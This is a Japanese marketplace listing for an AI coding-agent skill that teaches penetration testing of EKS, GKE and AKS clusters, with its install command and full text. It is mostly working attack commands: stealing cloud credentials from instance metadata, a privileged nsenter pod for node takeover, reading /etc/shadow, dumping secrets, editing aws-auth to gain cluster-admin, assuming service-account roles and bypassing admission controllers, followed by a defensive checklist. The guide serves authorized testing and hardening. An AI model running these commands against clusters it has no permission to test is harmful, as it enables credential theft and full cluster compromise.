mcpField
A
attacking-eks-gke-aks

attacking-eks-gke-aks

github.com/trilwuセキュリティ17748 回インストール12 週間前に更新
リポジトリ

attacking-eks-gke-aks について

EKS、GKE、AKSを評価する認可済みペネトレーションテスト向けのスキルガイドです。クラウドIAMとKubernetes RBACをまたぐ権限昇格経路に重点を置き、ID連携、ネットワークポリシー、アドミッション制御の確認方法を扱います。

主な機能

  1. 01Kubernetes RBACと権限の列挙
  2. 02Podからクラウド認証情報への昇格経路の評価
  3. 03クラウドIDとクラスターの連携確認
  4. 04ネットワークポリシーと分離の確認
  5. 05アドミッション制御の設定評価

活用シーン

  1. 01EKS、GKE、AKSクラスターの侵入テスト
  2. 02サービスアカウント権限とロールバインディングの確認
  3. 03PodからIMDSやワークロードIDへのアクセス検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill attacking-eks-gke-aks

インストール後、Claude Code で/attacking-eks-gke-aksを入力して読み込まれたか確認します。

詳細

マネージド Kubernetes(EKS、GKE、AKS)への攻撃

マネージド Kubernetes は、独立した 2 つの認可プレーン、つまりクラウドプロバイダーの IAM レイヤーと Kubernetes 独自の RBAC レイヤーにまたがって動作するため、特殊なターゲットです。それぞれのプレーンには、独自の ID、ポリシー、信頼境界があります。権限昇格の経路は、その継ぎ目に存在します。たとえば、Kubernetes のサービスアカウントがクラウド IAM ロールにマッピングされる箇所、ポッドがインスタンスメタデータサービス経由でノードのクラウド認証情報を継承する箇所、あるいは誰も監査していないクラウド ID マッピングを通じて cluster-admin バインディングが付与された箇所です。片方のプレーンしか理解していない攻撃者は、もう片方へとつながる経路を見逃します。

テストの許可を得たシステムに対してのみ実施してください。

使用する場面

  • ペネトレーションテストで EKS、GKE、AKS クラスターを評価する場合
  • Kubernetes の RBAC バインディングとサービスアカウントの権限をレビューする場合
  • IMDS またはワークロード ID 経由のポッドからクラウドへの権限昇格をテストする場合
  • ネットワークポリシーの適用と名前空間の分離を評価する場合
  • クラウドとクラスター間の ID マッピング(aws-auth、Workload Identity、AAD)を監査する場合
  • アドミッションコントローラーの有効性と回避の可能性を確認する場合

使用しない場面

  • 一般的な Docker コンテナーエスケープ、またはクラウドプロバイダーを使用しない通常の k8s — exploiting-containers を使用してください
  • クラウド IAM とコントロールプレーンのみの評価(クラスターが関与しない場合) — exploiting-cloud-platforms を使用してください
  • クラスターを攻撃するのではなく、防御または強化する場合 — defending-kubernetes を使用してください
  • ウェブアプリケーションから IMDS に到達する SSRF(ポッド内部からではない場合) — exploiting-ssrf を使用してください
  • ここで説明する攻撃の検知ルールを作成する場合 — engineering-detections を使用してください

クラスターの探索と認証なしのアクセス

# Discover clusters
aws eks list-clusters --region us-east-1        # EKS
gcloud container clusters list                   # GKE
az aks list                                      # AKS

# Unauthenticated API server check
curl -k https://<api-server>:443/api/v1/namespaces
curl -k https://<api-server>:443/version

# Anonymous RBAC check -- system:anonymous may have bindings
kubectl auth can-i --list --as=system:anonymous

# Kubelet read-only port (10255) -- often disabled, worth checking
curl http://<node-ip>:10255/pods

API サーバーが認証されていないリクエストにリソースを返す場合、そのクラスターでは匿名認証が有効になっているか、system:unauthenticated に対するバインディングが誤って構成されています。

RBAC の列挙

# What can the current identity do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system

# Check for cluster-admin bindings
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") |
  {name: .metadata.name, subjects: .subjects}'

# Examine a service account token (JWT)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Find overprivileged roles (wildcard on both resources and verbs)
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]? | .resources[]? == "*" and .verbs[]? == "*") |
  .metadata.name'

# Who can create pods? Who can read secrets?
kubectl auth can-i create pods --as=system:serviceaccount:NAMESPACE:SA_NAME
kubectl auth can-i get secrets --all-namespaces --as=system:serviceaccount:NAMESPACE:SA_NAME

cluster-admin へのシステム以外のバインディングは、すべて指摘事項です。クラウドプロバイダーのシステムコンポーネントが正当な理由で cluster-admin 権限を持つ場合があります。それらと、人間またはワークロードへのバインディングを区別してください。

ポッドからクラウドへの権限昇格

EKS:ポッドからの IMDS
# IMDSv1 -- single unauthenticated GET from any pod (unless blocked)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# IMDSv2 -- EKS sets default hop limit to 1 on Nitro instances, which blocks
# IMDSv2 from pods (extra network hop decrements TTL to 0). If hop limit >= 2:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# Credentials returned are the EC2 node role, not the pod's IRSA role.
aws sts get-caller-identity  # confirm which role you hold
GKE:ポッドからのメタデータ
# GKE metadata server -- requires Metadata-Flavor header
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# With Workload Identity: metadata server returns a token scoped to the k8s
# SA's bound GCP SA. Without it: every pod gets the node pool's GCP SA creds.
AKS:ポッド ID と IMDS
# Azure IMDS from a pod
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Pod identity (deprecated but still deployed): NMI daemonset assigns managed
# identities. If misconfigured, pods request tokens for any identity on node.
# Workload Identity (current): projected SA token exchanged for AAD token.
env | grep -i azure
cat $AZURE_FEDERATED_TOKEN_FILE 2>/dev/null

ノード侵害の経路

# Privileged pod -- full host access
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: shell
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: hostfs
      mountPath: /host
    command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/bash"]
  volumes:
  - name: hostfs
    hostPath:
      path: /
# If you can create pods, deploy the above and you own the node.
# From the node, access IMDS, kubelet credentials, and other pods.

# hostPath mount without full privilege -- still dangerous
# Mount /etc, /var/lib/kubelet, or /var/run/docker.sock

# hostPID -- see host processes, ptrace, /proc/1/root
ls /proc/1/root/etc/shadow

# hostNetwork -- access services bound to the node's loopback
# including the kubelet API on 10250
curl -k https://127.0.0.1:10250/pods

# Check what the kubelet certificate can do
curl -k --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
  https://<api-server>/api/v1/nodes

シークレットの列挙

# Decode secrets in current namespace
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] |
  "\(.key): \(.value | @base64d)"'

# All namespaces (requires cluster-wide read)
kubectl get secrets --all-namespaces -o json | jq -r '.items[] |
  "\(.metadata.namespace)/\(.metadata.name): \(.data | keys)"'

# Which pods mount secrets?
kubectl get pods --all-namespaces -o json | jq -r '.items[] |
  select(.spec.volumes[]?.secret) |
  "\(.metadata.namespace)/\(.metadata.name): \([.spec.volumes[] |
  select(.secret) | .secret.secretName])"'

# etcd -- managed providers do not expose it directly. If you find an
# endpoint (self-managed or misconfigured):
ETCDCTL_API=3 etcdctl --endpoints=https://<etcd>:2379 \
  --cert=/path/to/cert --key=/path/to/key --cacert=/path/to/ca \
  get /registry/secrets --prefix --keys-only

クラウド固有の攻撃経路

EKS
# aws-auth ConfigMap -- maps IAM roles/users to k8s RBAC
kubectl get configmap aws-auth -n kube-system -o yaml
# If you can edit this ConfigMap, you can grant any IAM role cluster-admin.
# This is the single most important escalation path in EKS.
kubectl edit configmap aws-auth -n kube-system

# IRSA (IAM Roles for Service Accounts) -- OIDC trust abuse
# Each EKS cluster has an OIDC provider. Service accounts annotated with
# eks.amazonaws.com/role-arn get temporary credentials for that IAM role.
# The IAM role's trust policy should restrict by namespace and SA name.
# If the trust policy uses a wildcard or missing condition:
aws iam get-role --role-name ROLE_NAME | jq '.Role.AssumeRolePolicyDocument'
# Look for:
#   "StringEquals": { "<oidc>:sub": "system:serviceaccount:*:*" }  <-- BAD
#   "StringLike" with a broad pattern                                <-- BAD
# A properly scoped trust policy restricts to one namespace:SA pair.

# Create a pod with the target SA to assume the role
kubectl run steal --image=amazon/aws-cli \
  --overrides='{"spec":{"serviceAccountName":"TARGET_SA"}}' \
  -- sleep 3600
kubectl exec -it steal -- aws sts get-caller-identity

# EKS access entries (newer alternative to aws-auth)
aws eks list-access-entries --cluster-name CLUSTER
aws eks describe-access-entry --cluster-name CLUSTER \
  --principal-arn arn:aws:iam::ACCOUNT:role/ROLE
GKE
# Node pool service account -- if not using Workload Identity, every pod
# on the node inherits the node pool's GCP service account. The default
# compute SA often has Editor on the project.
gcloud container node-pools describe POOL --cluster CLUSTER --zone ZONE \
  --format="value(config.serviceAccount)"

# Check the SA's IAM bindings
gcloud projects get-iam-policy PROJECT --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="value(bindings.role)"

# Workload Identity Federation -- k8s SA to GCP SA mapping
gcloud iam service-accounts get-iam-policy SA_EMAIL \
  --format=json | jq '.bindings[] |
  select(.role=="roles/iam.workloadIdentityUser")'

# If the GCP SA has iam.serviceAccountTokenCreator on other SAs,
# you can impersonate them:
gcloud auth print-access-token --impersonate-service-account=TARGET_SA_EMAIL

# GKE metadata concealment (legacy) -- hides some metadata paths but
# does not prevent token retrieval. Workload Identity is the real fix.
AKS
# AAD integration -- AKS can use Azure AD for authentication
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile" -o json

# Kubelet identity -- the managed identity assigned to the VMSS nodes
az aks show --resource-group RG --name CLUSTER \
  --query "identityProfile.kubeletidentity" -o json
# If this identity has broad Azure RBAC, any pod reaching IMDS gets those
# permissions (unless using Workload Identity to scope access).

# AKS Workload Identity -- check for federated credential bindings
az identity federated-credential list \
  --identity-name IDENTITY --resource-group RG

# AKS managed AAD -- check cluster admin group membership
az aks show --resource-group RG --name CLUSTER \
  --query "aadProfile.adminGroupObjectIDs"

ネットワークポリシーの評価

# Are any NetworkPolicies defined?
kubectl get networkpolicies --all-namespaces

# If none exist, all pods can talk to all other pods across all namespaces.
# This is the default in every managed k8s offering.

# Check which CNI is installed (determines enforcement)
kubectl get pods -n kube-system | grep -E 'calico|cilium|weave|canal|azure-cni'
# EKS: VPC CNI by default (no network policy enforcement without Calico/Cilium addon)
# GKE: Dataplane V2 (Cilium-based, enforces policies when enabled)
# AKS: Azure CNI or kubenet (network policy requires Calico or Azure NPM addon)

# Test cross-namespace connectivity
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://SERVICE.OTHER_NAMESPACE.svc.cluster.local

# Test pod-to-IMDS (should be blocked by network policy in hardened clusters)
kubectl run test --image=busybox --rm -it --restart=Never -- \
  wget -qO- --timeout=3 http://169.254.169.254/

ネットワークポリシーをサポートする CNI がなければ、NetworkPolicy リソースを定義しても効果はありません。ポリシーは API 上に存在しますが、適用されません。これはよくある誤解です。

アドミッションコントローラーの回避

# List admission webhooks
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# Check if Pod Security Admission (PSA) is configured
kubectl get namespaces -o json | jq '.items[] |
  {name: .metadata.name, labels: .metadata.labels |
  with_entries(select(.key | startswith("pod-security")))}'

# Common bypasses:
# 1. Create resources in a namespace without PSA labels
# 2. Use ephemeral containers (kubectl debug) -- some controllers miss these
kubectl debug node/NODE_NAME -it --image=alpine

# 3. Modify existing deployments instead of creating new pods
# 4. Use CronJobs or Jobs -- some webhooks only match Pod creates
# 5. Target the webhook's failurePolicy: if set to Ignore, disabling the
#    webhook service (or its DNS) allows all requests through
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[] | {name: .metadata.name,
  failurePolicy: .webhooks[].failurePolicy}'

# 6. Check namespaceSelector -- webhooks often exclude kube-system
kubectl get validatingwebhookconfigurations -o json | \
  jq '.items[].webhooks[] | {name: .name,
  namespaceSelector: .namespaceSelector}'

防御レビューのチェックリスト

  • RBAC:システム以外の cluster-admin バインディングがないこと。未使用の場合は automountServiceAccountToken を false にすること
  • ポッドセキュリティ:PSA ラベルにより、名前空間ごとに restricted または baseline を適用すること
  • IMDS:ネットワークポリシーでポッドから 169.254.169.254 への通信をブロックすること(または EKS で IMDSv2 のホップ制限を 1 にすること)
  • ワークロード ID:IRSA/WI/WIF を使用すること。ノードの認証情報に依存するポッドがないこと
  • ネットワークポリシー:定義されており、CNI が確実に適用すること
  • シークレット:環境変数ではなく、外部シークレットオペレーターまたは CSI ドライバーを使用すること
  • アドミッション:failurePolicy: Fail を設定した Webhook を使用すること。PSA または OPA/Gatekeeper が有効であること
  • 監査ログ:API サーバーの監査ログが有効になっており、SIEM に送信されていること
  • EKS:aws-auth を制限すること。IRSA の信頼関係を名前空間と SA に限定すること
  • GKE:Workload Identity を有効にすること。ノードプールでデフォルトのコンピュート SA を使用しないこと
  • AKS:AAD 統合を必須にすること。kubelet ID の権限を最小限にすること

拒否すべき合理化

  • 「マネージドサービスを使っているので、コントロールプレーンは安全です。」 コントロールプレーンは管理されていますが、RBAC バインディング、ワークロード ID、ネットワークポリシーは管理されていません。クラスター侵害の大半は、マネージド API サーバー自体への攻撃ではなく、テナント設定の誤りが原因です。
  • 「IMDSv2 がポッドからのメタデータアクセスをブロックします。」 ホップリミットが 1 の場合に限ります。実際のホップリミットを確認してください。何らかの理由で引き上げられていれば、ポッドから IMDSv2 に問題なくアクセスできます。また、IMDSv1 が併せて有効になっている可能性もあります。
  • 「ネットワークポリシーは定義済みです。」 ポリシーが適用されるのは、CNI が対応している場合に限られます。デフォルトの VPC CNI を使い、Calico/Cilium アドオンを導入していない EKS では、すべての NetworkPolicy リソースが何の通知もなく無視されます。
  • 「サービスアカウントに権限はありません。」 すべての名前空間で、デフォルトのサービスアカウントを確認してください。automountServiceAccountToken が true(デフォルト値)の場合、すべてのポッドにトークンがマウントされます。最小限の RBAC 権限しかないトークンでも、ポッドやサービスの一覧を取得でき、横方向への移動に向けた偵察には十分です。
  • 「IRSA/Workload Identity によって認証情報の範囲がポッドに限定されます。」 IAM 信頼ポリシーが適切に制限されている場合に限ります。OIDC 信頼にワイルドカードが含まれているか、sub 条件が欠けていると、クラスター内のあらゆるサービスアカウントがそのロールを引き受けられます。
  • 「クラスターはプライベートなので、外部に公開されていません。」 プライベート API エンドポイントであっても、VPC 内からのリクエストを処理します。ポッドの侵害、SSRF、VPN アクセスのいずれかによって、攻撃者が内部ネットワークに侵入する可能性があります。
  • 「RBAC は後で確認します。クラスターは開発用です。」 開発用クラスターでは、本番環境と IAM ロール、VPC ピアリング、イメージレジストリを共有していることがよくあります。共有クラウド ID を通じて、開発環境から本番環境へ権限昇格する経路は一般的です。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されます。このファイルを編集してから、python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID を現行の ATT&CK リリースと照合して再確認してください。

実行(TA0002)

  • T1610 コンテナのデプロイ (防御回避にも該当) — exploiting-containers も参照してください。

認証情報アクセス(TA0006)

  • T1552.005 クラウドインスタンスメタデータ API — exploiting-ssrf、exploiting-cloud-platforms も参照してください。

これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

  • exploiting-containers -- 汎用的なコンテナエスケープ、Docker ソケットの悪用、特権コンテナからの脱出手法
  • exploiting-cloud-platforms -- ポッドから取得したクラウド認証情報を使った後の、クラウド IAM の列挙と権限昇格
  • exploiting-ssrf -- ポッド内からではなく、ウェブアプリケーションを経由して IMDS にアクセスする方法
  • engineering-detections -- ここで説明した攻撃パターンを検出するルールの作成

コメント